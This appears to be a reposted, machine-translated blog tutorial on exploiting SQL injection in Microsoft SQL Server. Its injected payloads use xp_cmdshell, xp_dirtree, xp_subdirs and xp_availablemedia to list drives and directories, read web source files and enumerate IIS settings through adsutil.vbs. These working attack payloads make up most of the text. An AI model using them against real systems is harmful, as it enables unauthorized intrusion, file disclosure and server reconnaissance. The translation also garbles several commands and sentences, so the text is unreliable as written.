How to use SQL into the traversal directory

xiaoxiao2021-03-06  105

How to use SQL into the traversal directory

Regarding how to get into the entrance, no more, the previous post is very detailed, we have all permissions, including executing master.dbo.xp_cmdshell, including executing master.dbo.xp_cmdshell, This stored procedure has no name or delete, we can use it to traverse all directories, execute as follows: Temp'5; Create Table Temp (ID NVARCHAR (255), Num1 nVarchar (255) Num3 nvarchar (255)); - Next: (1) We can use XP_availableMedia to get all current drives and store them in the TEMP table; Insert Temp Exec master.dbo.xp_availablemedia; - We can By querying the contents of TEMP and related information (2) We can use XP_SUBDIRS to obtain subdirectory lists and store them in TEMP tables: 5 '; Insert Into Temp (ID) exec master.dbo.xp_subdirs' C: / '; - (3) We can also use XP_Dirtree to get all subdirectory directory tree structure, inch into the TEMP table: 5'; Insert Into Temp (ID, NUM1) exec master.dbo.xp_dirtree 'C: /' ; -

This will be able to browse to all directories (folders) list: If we need to view the content of a file, you can execute xp_cmdsell: 5 '; Insert Into Temp (ID) exec master.dbo.xp_cmdshell' Type C: /web/index.asp'; - Browse Temp can see the content of the index.asp file!

Of course, if XP_cmshell can perform, we can use it to complete: 5 '; Insert Into Temp (ID) exec master.dbo.xp_cmdshell' DIR C: / '; - 5'; Insert Into Temp (ID) Exec Master. DBO.XP_CMDSHELL 'DIR C: / * .ASP / S / A';

We can see all what you want to see, including W3SVC via xp_cmdshell.

5 '; INSERT INTO TEMP (ID) exec master.dbo.xp_cmdshell' cscript c: /inetpub/adminscripts/adsutil.vbs Enum W3SVC '

However, if not admin, we can also use 5 '; Insert Into Temp (ID, Num1) exec master.dbo.xp_dirtree' c: / ';

If you have any good way to welcome to discuss research with me

转载请注明原文地址:https://www.9cbs.com/read-86011.html

New Post(0)